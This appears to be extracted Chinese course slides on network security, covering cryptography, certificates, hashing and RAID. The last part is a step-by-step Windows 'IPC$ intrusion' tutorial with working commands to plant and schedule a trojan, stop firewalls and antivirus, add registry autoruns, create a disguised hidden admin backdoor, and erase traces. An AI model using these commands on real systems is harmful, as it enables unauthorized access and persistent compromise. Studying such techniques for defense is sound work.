已閱讀5頁(yè),還剩105頁(yè)未讀, 繼續(xù)免費(fèi)閱讀
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
網(wǎng)絡(luò)安全 網(wǎng)絡(luò)安全 從本質(zhì)上講 網(wǎng)絡(luò)安全就是網(wǎng)絡(luò)上的信息安全 是指網(wǎng)絡(luò)系統(tǒng)的硬件 軟件和系統(tǒng)中的數(shù)據(jù)受到保護(hù) 不受偶然的或者惡意的攻擊而遭到破壞 更改 泄露 系統(tǒng)連續(xù)可靠正常地運(yùn)行 網(wǎng)絡(luò)服務(wù)不中斷 廣義上講 凡是涉及到網(wǎng)絡(luò)上信息的保密性 完整性 可用性 真實(shí)性和可控性的相關(guān)技術(shù)和理論都是網(wǎng)絡(luò)安全所要研究的領(lǐng)域 信息的安全需求 機(jī)密性 Confidentiality 防止未授權(quán)者讀取信息 數(shù)據(jù)加密 訪問控制 防計(jì)算機(jī)電磁泄漏等安全措施 完整性 Integrity 保證計(jì)算機(jī)系統(tǒng)中的信息處于 保持完整或一種未受損的狀態(tài) 禁止未經(jīng)授權(quán)地對(duì)信息進(jìn)行修改 可用性 Availability 合法用戶在需要的時(shí)候 可以正確使用所需的信息而不遭服務(wù)拒絕 信息的安全需求 不可否認(rèn)性 Non repudiation 發(fā)送方和接收方不能抵賴所進(jìn)行的傳輸可控性 controllability 對(duì)信息的傳播和內(nèi)容具有控制能力 釣魚網(wǎng)站一種網(wǎng)絡(luò)欺詐行為 指不法分子利用各種手段 仿冒真實(shí)網(wǎng)站的URL地址以及頁(yè)面內(nèi)容 或者利用真實(shí)網(wǎng)站服務(wù)器程序上的漏洞在站點(diǎn)的某些網(wǎng)頁(yè)中插入危險(xiǎn)的HTML代碼 以此來騙取用戶銀行或信用卡賬號(hào) 密碼等私人資料 什么是釣魚網(wǎng)站 通信過程中的四種攻擊方式 圖1 1 拒絕服務(wù)攻擊 DoS DoS DenialofService 用超出被攻擊目標(biāo)處理能力的海量數(shù)據(jù)包消耗可用系統(tǒng) 帶寬資源等方法的攻擊 導(dǎo)致服務(wù)器不能正常為合法用戶提供服務(wù)的攻擊 攻擊者 目標(biāo)主機(jī) 等待應(yīng)答 SYN 同步SYN ACK 同步 確認(rèn)ACK 確認(rèn) SYN攻擊的原理 1 攻擊者 目標(biāo)主機(jī) 1 n 等待ACK應(yīng)答 不應(yīng)答 不應(yīng)答 重新發(fā)送 SYN攻擊的原理 2 PDRR安全模型 信息安全保障的PDRR模型的內(nèi)涵已經(jīng)超出了傳統(tǒng)的信息安全保密 而是保護(hù) Protection 檢測(cè) Detection 響應(yīng) Reaction 和恢復(fù) Restore 的有機(jī)結(jié)合 安全技術(shù)評(píng)價(jià)標(biāo)準(zhǔn) 1983年美國(guó)國(guó)防部頒布了安全標(biāo)準(zhǔn)5200 28 可信計(jì)算系統(tǒng)評(píng)估準(zhǔn)則TrustedComputingSystemEvaluationCriteria 即桔皮書 TCSEC共分為如下4類7級(jí) 1 D級(jí) 安全保護(hù)欠缺級(jí) 2 C1級(jí) 自主安全保護(hù)級(jí) 3 C2級(jí) 受控存取保護(hù)級(jí) 4 B1級(jí) 標(biāo)記安全保護(hù)級(jí) 5 B2級(jí) 結(jié)構(gòu)化保護(hù)級(jí) 6 B3級(jí) 安全域保護(hù)級(jí) 7 A1級(jí) 驗(yàn)證設(shè)計(jì)級(jí) 密碼學(xué) 第13頁(yè) 密碼的目標(biāo) 對(duì)于任何一個(gè)密碼系統(tǒng) 其目標(biāo)都是 只有掌握密鑰的情況下才能將密文恢復(fù)成明文 即 攻擊者即使掌握了密碼算法的全部細(xì)節(jié)和其他信息 仍然不能在沒有密鑰的情況下恢復(fù)明文 第14頁(yè) 加密函數(shù)E作用于M得到密文C 用數(shù)學(xué)表示為 E M C 相反地 解密函數(shù)D作用于C產(chǎn)生MD C M 密碼體系示意圖 第15頁(yè) 古典密碼 簡(jiǎn)單代替密碼雙重置換密碼一次一密電子本密碼 第16頁(yè) 簡(jiǎn)單代替密碼 簡(jiǎn)單代替密碼的簡(jiǎn)單實(shí)現(xiàn)就是將明文按照字母表中當(dāng)前字母后移N位加密產(chǎn)生的 通過查找明文行中的字母 并用密文行中對(duì)應(yīng)的字母進(jìn)行代替 第17頁(yè) 簡(jiǎn)單代替密碼 簡(jiǎn)單代替密碼的解密通過查找密文行中的字母 并用明文行中對(duì)應(yīng)的字母進(jìn)行代替 移動(dòng)3位的簡(jiǎn)單代替密碼 稱為凱撒 Caesar 密碼 第18頁(yè) Ceasar sCipherDecryption Plaintext spongebobsquarepants Plaintext Ciphertext SupposeweknowaCeasar scipherisbeingused Givenciphertext VSRQJHEREVTXDUHSDQWV 第19頁(yè) 2 2 1簡(jiǎn)單代替密碼 如果限定簡(jiǎn)單代替就是字母表則所有可能的密鑰n是0 25 若攻擊者截獲密文CSYEVIXIVQMREXIH則攻擊者能夠嘗試所有26種可能的密鑰 來解密密文 并判斷所解密文是否具有意義 第20頁(yè) 什么是蠻力破解 通過嘗試所有可能的密鑰直至遇到正確的密鑰 即窮舉搜索密鑰 所以密鑰數(shù)應(yīng)該足夠大 以使得攻擊者在合理的時(shí)間范圍內(nèi)沒有辦法窮舉 蠻力破解 第21頁(yè) 雙重置換密碼 雙重置換密碼的簡(jiǎn)單實(shí)現(xiàn)首先將明文寫成給定大小的矩陣形式 然后根據(jù)特定的置換規(guī)則進(jìn)行行和列的置換 第22頁(yè) DoubleTransposition Plaintext attackxatxdawn Permuterowsandcolumns Ciphertext xtawxnattxadakcKeyismatrixsizeandpermutations 3 5 1 4 2 and 1 3 2 第23頁(yè) 密碼編碼學(xué)分類 對(duì)稱密碼 SymmetricKey公鑰密碼 PublicKeyHash函數(shù) Hashalgorithms 第24頁(yè) 3 1對(duì)稱密鑰密碼 對(duì)稱密鑰密碼 提供一個(gè)雙向信道 A和B共享一個(gè)秘密密鑰 雙方既能加密信息發(fā)送給對(duì)方 也可以解密從對(duì)方得到的密文信息 第25頁(yè) 3 1對(duì)稱密鑰密碼 加密 解密 明文P 密文C 明文P 密鑰 K 對(duì)稱密碼體制 symmetriccryptosystem 加密密鑰和解密密鑰是相同的 C E K P P D K E K P 第26頁(yè) 3 1對(duì)稱密鑰密碼 按照明文的處理方法分分組密碼 blockcipher 流密碼 streamcipher 第27頁(yè) 3 3 2數(shù)據(jù)加密標(biāo)準(zhǔn) DES 數(shù)據(jù)加密標(biāo)準(zhǔn)DataEncryptionStandard 是20世紀(jì)70年代提出的是基于IBM公司提出的Feistel結(jié)構(gòu)的Lucifer密碼設(shè)計(jì)的DES后來成為美國(guó)政府的官方標(biāo)準(zhǔn)DES是第一代公開的 完全說明細(xì)節(jié)并完全商業(yè)化得現(xiàn)代加密技術(shù) 并被世界公認(rèn) 第28頁(yè) DES算法簡(jiǎn)介 了解 DES是分組密碼 明文分組長(zhǎng)度為64bits 8bytes 密鑰長(zhǎng)度為64bits 有8bits奇偶校驗(yàn) 有效密鑰長(zhǎng)度為56bits 算法主要包括 初始置換IP InitialPermutation 16輪迭代的乘積變換逆初始置換IP 116個(gè)子密鑰產(chǎn)生器 第29頁(yè) IP L0 R0 L1 R0 R1 L0 f R0 K1 R2 L1 f R1 K2 L2 R1 明文 L15 R14 R16 L15 f R15 K16 R15 L14 f R14 K15 L16 R15 IP 1 密文 f K1 f K2 f K16 DES加密流程圖 第30頁(yè) 4 1公鑰密碼 公鑰密碼 非對(duì)稱加密算法 AsymmetricAlgorithm 也稱公開密鑰算法 PublicKeyAlgorithm 雙鑰密碼 對(duì)稱密鑰密碼系統(tǒng)和非對(duì)稱密鑰密碼系統(tǒng)將會(huì)同時(shí)共存 并繼續(xù)為公眾提供服務(wù) 它們是相互補(bǔ)充的 一種系統(tǒng)的優(yōu)勢(shì)可以彌補(bǔ)另一種系統(tǒng)的劣勢(shì) 第31頁(yè) 對(duì)稱密碼的不足 密鑰管理量的困難傳統(tǒng)密鑰管理 兩兩分別用一個(gè)密鑰時(shí) 則n個(gè)用戶需要C n 2 n n 1 2個(gè)密鑰 當(dāng)用戶量增大時(shí) 密鑰空間急劇增大 密鑰必須通過某一信道傳輸 對(duì)這個(gè)信道的安全性的要求比正常的傳送消息的信道的安全性要高數(shù)字簽名的問題傳統(tǒng)加密算法無法實(shí)現(xiàn)抗抵賴的需求 第32頁(yè) 4 1公鑰密碼 對(duì)稱密鑰密碼 加密和解密使用同一密鑰 公鑰密碼 加密中使用一個(gè)密鑰 可以公開 叫公鑰 解密使用另外一個(gè)密鑰 公鑰密碼解決了對(duì)稱密碼中 如何安全地進(jìn)行密鑰分配的問題 第33頁(yè) 4 1非對(duì)稱密鑰密碼 加密 解密 明文P 密文C 明文P 加密密鑰Ke 解密密鑰Kd C E Ke P P D Kd E Ke P 非對(duì)稱密碼體制 asymmetriccryptosystem 加密密鑰和解密密鑰是成對(duì)出現(xiàn)加密過程和解密過程不同 使用的密鑰也不同 第34頁(yè) 對(duì)稱 非對(duì)稱密鑰密碼系統(tǒng) 兩種系統(tǒng)在概念上的不同 基于保存秘密方法不同 對(duì)稱密鑰密碼系統(tǒng)中 秘密必須在兩個(gè)人之間共享非對(duì)稱密鑰密碼系統(tǒng)中 秘密是個(gè)人獨(dú)享的 每個(gè)人都創(chuàng)建并保存自己的秘密 在一個(gè)有n個(gè)人的組織中 對(duì)稱密鑰密碼系統(tǒng) 需要有n n 1 2個(gè)共享秘密 對(duì)于非對(duì)稱密鑰密碼系統(tǒng) 只需要n個(gè)個(gè)人秘密 對(duì)于一個(gè)有一百萬人的組織來說 對(duì)稱密鑰密碼系統(tǒng)需要五億個(gè)共享秘密 非對(duì)稱密鑰密碼系統(tǒng)需要一百萬個(gè)個(gè)人秘密 第35頁(yè) 對(duì)稱 非對(duì)稱密鑰密碼系統(tǒng) 加密之外 其他安全方面的問題需要運(yùn)用非對(duì)稱密鑰密碼系統(tǒng) 如 公正和數(shù)字簽名 基于個(gè)人秘密的應(yīng)用程序 對(duì)稱密鑰密碼系統(tǒng)基于符號(hào) 字符或比特 的代換和置換 非對(duì)稱密鑰密碼系統(tǒng)則基于把數(shù)學(xué)函數(shù)應(yīng)用于數(shù)字 即在非對(duì)稱密鑰密碼系統(tǒng)中 明文和密文都是數(shù)字 加密和解密就是把數(shù)學(xué)函數(shù)應(yīng)用于數(shù)字以創(chuàng)建另外一些數(shù)字的過程 第36頁(yè) 雙方的需要 非對(duì)稱密鑰密碼系統(tǒng)是用數(shù)學(xué)函數(shù)進(jìn)行加密和解密 比對(duì)稱密鑰密碼系統(tǒng)要慢得多 對(duì)于大信息的加密 對(duì)稱密鑰密碼系統(tǒng)還是需要的 在公證 數(shù)字簽名和密鑰交換等方面需要非對(duì)稱密鑰密碼系統(tǒng) 今天為了能夠利用安全的各個(gè)方面 既需要對(duì)稱密碼密碼系統(tǒng) 也需要非對(duì)稱密碼系統(tǒng) 是相互補(bǔ)充的 第37頁(yè) 公鑰密碼的特點(diǎn) 加密與解密的密鑰不同公鑰密碼的密鑰是一組密鑰對(duì) 公鑰 私鑰 可以公開的密鑰稱為公鑰 必須保密的密鑰稱為私鑰 知道密碼算法和公鑰 從公鑰得到私鑰在計(jì)算上是不可行的兩個(gè)密鑰配對(duì)使用公鑰加密信息 私鑰解密信息私鑰簽名信息 公鑰驗(yàn)證簽名 第38頁(yè) 公鑰密碼的加密 明文 明文 HiBobAlice B的私鑰 密文 Alice Bob A加密 B解密 HiBobAlice HiBobAlice HiBobAlice 公開 保密 B的公鑰 第39頁(yè) 4 1公鑰密碼 公鑰密碼體制是基于 單向陷門函數(shù) 的 單向陷門函數(shù)是滿足下列條件的函數(shù)f 1 給定x 計(jì)算y f x 是容易的 2 給定y 計(jì)算x使x f 1 y 是不可行的 3 存在k 已知k時(shí) 對(duì)給定的任何y 若相應(yīng)的x存在 則計(jì)算x使fk 1 y 是容易的 即 給出y和陷門K 秘密 很容易計(jì)算x 第40頁(yè) 4 1公鑰密碼 單向陷門函數(shù) 單向陷門函數(shù) 即一個(gè)函數(shù)正向計(jì)算很容易 但是反向計(jì)算則十分困難 陷門的目的是確保攻擊者不能使用公開的信息得出秘密的信息 如 計(jì)算兩個(gè)素?cái)?shù)p和q的乘積N pq很容易 但是給定N 如果N很大 分解它的因子p和q則是困難的 第41頁(yè) 4 1公鑰密碼 Bob擁有公鑰和私鑰組成的密鑰對(duì)任何人都可以使用Bob的公鑰加密消息給Bob 但只有Bob本人才能對(duì)消息進(jìn)行解密 應(yīng)為只有Bob擁有私鑰 第42頁(yè) 4 1公鑰密碼 Bob擁有公鑰和私鑰組成的密鑰對(duì)Bob能夠使用他的私鑰進(jìn)行 加密 得到消息M的簽名 任何人都可以使用Bob的公鑰 解密 這條消息 這是公鑰密碼最有用的特性之一 第43頁(yè) 公鑰密碼的簽名 文件 A簽名的文件 HiBobAlice A的公鑰 A的私鑰 簽名文件 Alice Bob A簽名 B驗(yàn)證 HiBobAlice 保密 公開 第44頁(yè) 4 3RSA RSA公鑰加密算法是1977年由Rivest Shamirh和Adleman在 美國(guó)麻省理工學(xué)院 開發(fā)的 RSA取名來自開發(fā)他們?nèi)叩拿?RSA是目前應(yīng)用最廣泛的公鑰密碼算法 它能夠抵抗到目前為止已知的所有密碼攻擊 已被ISO推薦為公鑰數(shù)據(jù)加密標(biāo)準(zhǔn) 第45頁(yè) 4 3RSA RSA算法基于一個(gè)十分簡(jiǎn)單的數(shù)論事實(shí) 將兩個(gè)大素?cái)?shù)相乘十分容易 但要對(duì)其乘積進(jìn)行因式分解卻極其困難 因此可以將乘積公開作為加密密鑰 第46頁(yè) RSA算法 選擇兩個(gè)大素?cái)?shù)p和q 并計(jì)算乘積N pq選擇與 p 1 q 1 互素的整數(shù)e并求解模 p 1 q 1 的e的乘法逆 記為d即ed 1mod p 1 q 1 Publickeyis N e Privatekeyisd 第47頁(yè) DES和RSA算法的特點(diǎn)和比較 1 DES的特點(diǎn)可靠性較高 16輪變化 增大了混淆性和擴(kuò)散性 輸出不殘存統(tǒng)計(jì)信息 加密 解密速度快 算法容易實(shí)現(xiàn) 可由軟件和硬件實(shí)現(xiàn) 硬件實(shí)現(xiàn)速度快 通用性強(qiáng) 算法具有對(duì)稱性 密鑰位數(shù)少 存在弱密鑰和半弱密鑰 便于窮盡攻擊 密鑰管理復(fù)雜 第48頁(yè) 2 RSA算法的特點(diǎn)密鑰管理簡(jiǎn)單 網(wǎng)上每個(gè)用戶僅保密一個(gè)密鑰 且不需密鑰配送 便于數(shù)字簽名 可靠性較高 取決于分解大素?cái)?shù)的難易程度 算法復(fù)雜 加密 解密速度慢 難于實(shí)現(xiàn) DES和RSA算法的特點(diǎn)和比較 第49頁(yè) 4 4公鑰密碼的應(yīng)用 公鑰密碼與對(duì)稱密碼相比有兩個(gè)優(yōu)點(diǎn) 使用公鑰密碼 不需要實(shí)現(xiàn)共享密鑰 使用公鑰密碼 進(jìn)行數(shù)字簽名 不僅能提供完整性 還能夠提供不可否認(rèn)性 第50頁(yè) 規(guī)定符號(hào) 簽名 SignmessageMwithAlice sprivatekey M Alice 加密 EncryptmessageMwithAlice spublickey M AliceThen M Alice Alice M M Alice Alice M 第51頁(yè) 秘密性和不可否認(rèn)性 假設(shè)Alice想發(fā)送消息M給Bob 出于秘密性的考慮 Alice使用Bob的公鑰對(duì)M加密 M Bob為了確保完整性和不可否認(rèn)性 她使用她的私鑰對(duì)M簽名 采用如下兩種方法哪一種呢 Signandencrypt M Alice BobEncryptandsign M Bob Alice兩種操作順序?qū)Π踩杂袩o影響 第52頁(yè) 場(chǎng)景一 假設(shè)Alice和Bob正在熱戀 Alice決定發(fā)送消息M Iloveyou 給Bob使用先簽名后加密 她發(fā)送 M Alice Bob給Bob不久之后 Alice和Bob出現(xiàn)感情危機(jī) 出于惡意 Bob收到后解密獲得簽名的消息 M Alice 并將其加密為 M Alice Charlie 并將消息發(fā)送給Charlie于是Charlie以為Alice愛上了他這個(gè)誤會(huì)使得Charlie和Alice之間很尷尬 第53頁(yè) SignandEncrypt Alice Bob M Alice Bob Q Whatistheproblem A Charliemisunderstandscrypto Charlie M Alice Charlie M Iloveyou 第54頁(yè) 場(chǎng)景二 Alice通過此事得到教訓(xùn) 再也不采用先簽名再加密的方法當(dāng)她需要同時(shí)實(shí)現(xiàn)秘密性和不可否認(rèn)性時(shí) 她選擇先加密再簽名一段時(shí)間之后 Alice和Bob感情復(fù)合 Alice獲得重要考古發(fā)現(xiàn) 要告訴Bob M Bob Alice發(fā)送給Bob然而Charlie對(duì)于上次的愚弄很生氣 他能偶截獲Alice的消息并進(jìn)行攻擊Charlie使用Alice公鑰計(jì)算出 M Bob 第55頁(yè) 場(chǎng)景二 并用自己的私鑰簽名后發(fā)給BobBob收到消息后 認(rèn)為重大考古是Charlie發(fā)現(xiàn)的 并立即給Charlie頒發(fā)獎(jiǎng)金Alice聽說后 發(fā)誓再也不用先加密再簽名的方法了那該怎么辦呢 第56頁(yè) EncryptandSign Alice Bob M Bob Alice NotethatCharliecannotdecryptMQ Whatistheproblem A Bobmisunderstandscrypto Charlie M Bob Charlie M Mytheory whichismine 數(shù)字簽名的實(shí)現(xiàn) 目前應(yīng)用最廣泛的數(shù)字簽名加解密算法是RSA因RSA的公鑰 私鑰太長(zhǎng)太復(fù)雜 不便于記憶和管理 一般以文件的形式存儲(chǔ) 該文件同時(shí)還包含用戶的個(gè)人信息 真正實(shí)現(xiàn) 個(gè)人簽名 的效果 一般把這種文件稱為數(shù)字證書 數(shù)字證書之所以可以稱之為 證書 就一定要有 防偽 功能 因?yàn)樽C書中要包含用戶的個(gè)人身份信息 如姓名 單位 電子郵件等 并且最重要的 還有用戶的密鑰 試想一下 如果任何人都可以自定義信息并發(fā)布證書 誰能保證真?zhèn)文?就像現(xiàn)實(shí)生活中的個(gè)人身份一樣 任何人都能認(rèn)證么 數(shù)字證書引入 因此 正如身份證由國(guó)家權(quán)威部門 公安部 來頒發(fā) 讓我們重新定義數(shù)字證書 數(shù)字證書是由一個(gè)權(quán)威機(jī)構(gòu)發(fā)行的 至少包含一個(gè)公鑰 證書持有人 或單位 的名稱以及證書授權(quán)中心對(duì)這些信息的數(shù)字簽名的文件 一般情況下證書中還包括密鑰的有效時(shí)間 發(fā)證機(jī)關(guān) 證書授權(quán)中心 的名稱 該證書的序列號(hào)等信息 數(shù)字證書DigitalCertificate 數(shù)字證書就相當(dāng)于互聯(lián)網(wǎng)上的通信雙方的身份證 頒發(fā)數(shù)字證書的機(jī)構(gòu)稱為CA CertificateAuthority 即認(rèn)證中心 是在電子交易中承擔(dān)安全認(rèn)證服務(wù) 簽發(fā)數(shù)字證書 確認(rèn)用戶身份等工作的互聯(lián)網(wǎng)上具有權(quán)威性和公正性的一個(gè)普遍可信的第三方服務(wù)機(jī)構(gòu) 類似生活中頒發(fā)身份證的公安部門 數(shù)字證書的獲取 課前回顧 采用數(shù)字簽名 應(yīng)該實(shí)現(xiàn)的功能 保證信息是由簽名者自己簽名發(fā)送的 簽名者不能否認(rèn)或難以否認(rèn) 保證信息自簽發(fā)后到收到止未作任何改動(dòng) 簽發(fā)的文件是真實(shí)完整的 數(shù)字簽名的功能 一個(gè)簡(jiǎn)單的數(shù)字簽名原理 從理論上說 采用公鑰體制技術(shù)進(jìn)行的應(yīng)用 其實(shí)就是一個(gè)簽名簽證的過程 即 發(fā)送方用私鑰對(duì)某個(gè)文件進(jìn)行加密 簽名 接收方利用發(fā)送方的公鑰進(jìn)行解密 驗(yàn)證 為何采用對(duì)稱密碼技術(shù)的應(yīng)用就不能稱為簽名呢 就是因?yàn)榧咏饷苊荑€相同 無法實(shí)現(xiàn)身份驗(yàn)證 但非對(duì)稱密碼技術(shù)加解密密鑰不同 可以實(shí)現(xiàn) 公鑰 私鑰 密鑰對(duì)的唯一性 研究非對(duì)稱密碼技術(shù) 如RSA 的理論模型 我們知道 其加解密速度是很慢的 尤其不適合數(shù)據(jù)量大的加解密 如何改進(jìn)呢 簡(jiǎn)單簽名面臨的問題 Hash函數(shù) Hash 一般翻譯做 散列 也有直接音譯為 哈希 的 也叫雜湊函數(shù) 就是把任意長(zhǎng)度的輸入信息通過特定的算法 變換成固定長(zhǎng)度的輸出值 也稱摘要 因此 Hash算法屬于典型的壓縮映射 Hash函數(shù)必須滿足以下特征 任意長(zhǎng)度的輸入值 生成固定長(zhǎng)度的輸出值不同的輸入 一定生成不同的輸出 不可能從輸出值來確定輸入信息 即不可逆 計(jì)算機(jī)實(shí)體安全 磁盤陣列 RAID 配置 磁盤陣列配置 RedundantArrayofIndependentDisks獨(dú)立磁盤冗余陣列 簡(jiǎn)稱磁盤陣列 XX公司 更高的存儲(chǔ)性能 自動(dòng)備份 數(shù)據(jù)恢復(fù)能力 簡(jiǎn)單的說 RAID是一種把多塊獨(dú)立的硬盤 物理硬盤 按不同方式組合起來形成一個(gè)硬盤組 邏輯硬盤 從而提供比單個(gè)硬盤更高的存儲(chǔ)性能和提供數(shù)據(jù)冗余的技術(shù) 組成磁盤陣列的不同方式稱為RAID級(jí)別 RAIDLevels RIAD及RIADLevels RAIDLevels RAID0 RAID0連續(xù)以位或字節(jié)為單位分割數(shù)據(jù) 并行讀 寫于多個(gè)磁盤上 沒有校驗(yàn)數(shù)據(jù) 只是單純地提高性能 并沒有為數(shù)據(jù)的可靠性提供保證 優(yōu)點(diǎn) 1 是最快 最有效率的陣列類型 2 沒有容量損失 所有的存儲(chǔ)空間都可用 缺點(diǎn) 沒有容錯(cuò)能力 一個(gè)磁盤出錯(cuò)導(dǎo)致?lián)p失所有陣列內(nèi)的數(shù)據(jù) 典型應(yīng)用 特別適用于對(duì)性能要求較高 而對(duì)數(shù)據(jù)安全不太在乎的領(lǐng)域 如圖形工作站等 對(duì)于個(gè)人用戶 RAID0也是提高硬盤存儲(chǔ)性能的絕佳選擇 RAIDLevels RAID1 RAID1鏡像 每?jī)蓚€(gè)硬盤的內(nèi)容一模一樣 需要至少兩塊硬盤 優(yōu)點(diǎn) 1 對(duì)數(shù)據(jù)進(jìn)行了完全的備份 其可靠性是最高的2 讀取性能較單磁盤高 缺點(diǎn) 空間利用率只有50 典型應(yīng)用 隨機(jī)數(shù)據(jù)寫入 要求安全性高 如服務(wù)器 數(shù)據(jù)庫(kù)存儲(chǔ)領(lǐng)域 RAIDLevels RAID5 RAID5有校驗(yàn)數(shù)據(jù) 提供數(shù)據(jù)容錯(cuò)能力至少需要3塊硬盤 最好使用相同容量相同速度的硬盤校驗(yàn)值分散在各個(gè)盤的不同位置 相當(dāng)程度的分散了負(fù)載 故有較好的性能 優(yōu)點(diǎn) 會(huì)實(shí)現(xiàn)RAID0的高速存儲(chǔ)讀取并且也會(huì)實(shí)現(xiàn)RAID1的數(shù)據(jù)恢復(fù)功能 缺點(diǎn) 一般需要價(jià)格昂貴的硬件設(shè)備raid卡 典型應(yīng)用 要求存儲(chǔ)性能 數(shù)據(jù)安全和存儲(chǔ)成本兼顧的領(lǐng)域 如金融 銀行和股市的聯(lián)機(jī)交易系統(tǒng) OLTP 網(wǎng)絡(luò)入侵 IPC 入侵InternetProcessConnection IPC 可以被理解為一種 專用管道 可以在連接雙方建立一條安全的通道 實(shí)現(xiàn)對(duì)遠(yuǎn)程計(jì)算機(jī)的訪問 簡(jiǎn)單說就是一個(gè)特殊的共享資源 IPC 入侵是利用IPC 共享和弱口令實(shí)現(xiàn)對(duì)遠(yuǎn)程計(jì)算機(jī)非授權(quán)訪問的一種入侵方法 入侵前奏 備注 可事先使用IP掃描 端口掃描等方面的軟件確定活動(dòng)主機(jī)的IP及139 445端口是否開放 第一步 建立連接 語(yǔ)法 netuse IP地址 或計(jì)算機(jī)名 IPC 密碼 user 用戶名 例如 netuse 192 168 56 101 ipc 123 user administrator 第二步 操控遠(yuǎn)程計(jì)算機(jī) 只要第一步順利完成 你就有操控遠(yuǎn)程計(jì)算機(jī)的權(quán)限了 比如 查看遠(yuǎn)程計(jì)算機(jī)的硬盤內(nèi)容向遠(yuǎn)程計(jì)算機(jī)上復(fù)制文件 如木馬程序 腳本命令文件等 遠(yuǎn)程計(jì)算機(jī)上的服務(wù)控制遠(yuǎn)程計(jì)算機(jī)上的進(jìn)程查看和終止 如關(guān)閉防火墻軟件 殺毒軟件等 在遠(yuǎn)程計(jì)算機(jī)上創(chuàng)建用戶賬戶 一般為下次入侵的后門賬戶 重啟 關(guān)閉 遠(yuǎn)程計(jì)算機(jī)修改遠(yuǎn)程計(jì)算機(jī)的注冊(cè)表 打掃戰(zhàn)場(chǎng) 清理入侵痕跡 查看遠(yuǎn)程計(jì)算機(jī)的內(nèi)容 使用netview查看網(wǎng)絡(luò)中的共享資源使用netuse 推薦 例如 netuseZ 192 168 56 101 c netuseY 192 168 56 101 admin 向遠(yuǎn)程計(jì)算機(jī)復(fù)制文件 使用 我的電腦 使用copy命令 最好掌握 例如 copyc muma exeY system32 遠(yuǎn)程計(jì)算機(jī)上運(yùn)行程序 任務(wù)計(jì)劃可以采用交互式方式添加 也可使用命令at 最好掌握 最常用法 at 遠(yuǎn)程計(jì)算機(jī)IP 運(yùn)行的時(shí)間命令或程序如 at 192 168 56 10116 35c windows muma exe 備注 如何得知遠(yuǎn)程計(jì)算機(jī)的當(dāng)前時(shí)間呢 可用nettime命令 如 nettime 192 168 56 101 遠(yuǎn)程計(jì)算機(jī)上的服務(wù)控制 對(duì)于網(wǎng)絡(luò)入侵而言 對(duì)遠(yuǎn)程計(jì)算機(jī)上的服務(wù)控制顯得十分重要 如關(guān)閉其防火墻 打開其任務(wù)調(diào)度等等 便于你更好的控制入侵的主機(jī)一般有2種方式 一是用圖形界面操作 即用本機(jī)的服務(wù)控制臺(tái)程序 如下圖二是用命令sc 推薦 sc命令最常用法 scstart服務(wù)名如 scstartlanmanserver開啟文件共享服務(wù)scstop服務(wù)名如 scstopSharedAccess關(guān)閉內(nèi)置防火墻scconfig服務(wù)名start auto disabled 配置某個(gè)服務(wù)的啟動(dòng)類型 自動(dòng)啟動(dòng) 已禁用 如 scconfigTlntSvrstart auto 注意 與值間有一空格 附 常用手法 scstartlanmanserver開啟文件共享服務(wù)scstartRemoteRegistry開啟遠(yuǎn)程注冊(cè)表服務(wù)scstartSchedule開啟任務(wù)計(jì)劃服務(wù)scstartTlntsvr開啟Telnet服務(wù)scstopSharedAccess關(guān)閉內(nèi)置防火墻scstopwuauserv關(guān)閉安全中心通知scstopwscsvc關(guān)閉自動(dòng)更新 一旦入侵成功 攻擊者為了更方便控制遠(yuǎn)程主機(jī) 常采用以下手法 原則就是 礙事的服務(wù)統(tǒng)統(tǒng)關(guān)閉 方便之門統(tǒng)統(tǒng)開啟 遠(yuǎn)程計(jì)算機(jī)上的進(jìn)程查看和終止 眾所周知 欲查看本機(jī)正在運(yùn)行的程序或進(jìn)程 可使用 任務(wù)管理器 如何操縱遠(yuǎn)程主機(jī)上正運(yùn)行的程序或進(jìn)程呢 遠(yuǎn)程計(jì)算機(jī)上的進(jìn)程查看 使用命令tasklist 查看運(yùn)行的程序或進(jìn)程tasklist s遠(yuǎn)程主機(jī)IP u用戶名 p密碼 遠(yuǎn)程計(jì)算機(jī)上的進(jìn)程終止 taskkill s遠(yuǎn)程主機(jī)IP u用戶名 p密碼 pid進(jìn)程ID號(hào) 這個(gè)命令很實(shí)用 常用于關(guān)閉遠(yuǎn)程主機(jī)中 妨礙你 的程序 如殺毒軟件 防火墻軟件等但也要注意 現(xiàn)在很多安全防護(hù)軟件也道高一尺了 注冊(cè)表入侵 注冊(cè)表 Registry 是Windows中的一個(gè)重要的數(shù)據(jù)庫(kù)用于存儲(chǔ)系統(tǒng)和應(yīng)用程序的設(shè)置信息 注冊(cè)表入侵 regedit 注冊(cè)表中有個(gè)很重要的區(qū)域 儲(chǔ)存有開機(jī)自動(dòng)運(yùn)行的程序HKEY LOCAL MACHINE Software Microsoft Windows CurrentVersion RunHKEY CURRENT USER Software Microsoft Windows CurrentVersion Run 注冊(cè)表入侵 接前面內(nèi)容 如果想讓遠(yuǎn)程計(jì)算機(jī)執(zhí)行某個(gè)特定程序 也可以通過注冊(cè)表中添加啟動(dòng)項(xiàng)的方式來實(shí)現(xiàn) 注冊(cè)表編輯器 regedit 不僅可修改本地計(jì)算機(jī)上的注冊(cè)表 也可以修改到遠(yuǎn)程計(jì)算機(jī)上的注冊(cè)表 注冊(cè)表入侵簡(jiǎn)易防范 通過注冊(cè)表 可以修改 刪除計(jì)算機(jī)上的應(yīng)用程序設(shè)置因此攻擊者也多了一種入侵的手段 一種簡(jiǎn)易防范措施就是禁用RemoteRegistry服務(wù) 預(yù)留后門 一般來說 入侵一旦得手 攻擊者往往希望日后也能再次光臨 為了以防萬一 攻擊者經(jīng)常預(yù)留后門 如創(chuàng)建新賬戶 開設(shè)新的隱藏共享等等 附參考樣板 把以下內(nèi)容存為批處理文件Sys bat netuserIUSR Internet123456 addnetlocalgroupadministratorsIUSR Internet addscconfiglanmanserverstart autoscstartlanmanservernetshareadmins windir 備注 注意每個(gè)環(huán)節(jié)的命名技巧 即盡量偽裝得真實(shí)些 重啟 關(guān)閉遠(yuǎn)程計(jì)算機(jī) 命令 shutdown用法一 shutdown i調(diào)出圖形界面 shutdown r重啟 s關(guān)機(jī) txxx秒倒計(jì)時(shí)顯示 m 遠(yuǎn)程主機(jī)IPshutdown s t10 m 192 168 56 101 清除入侵痕跡 為了掩人耳目 常常需要做善后處理 即清除入侵痕跡 如刪除上傳過的無用文件 及時(shí)斷開連接等 netuse del y IPC 入侵防范措施 根據(jù)實(shí)際情況 一般常用的防范措施有 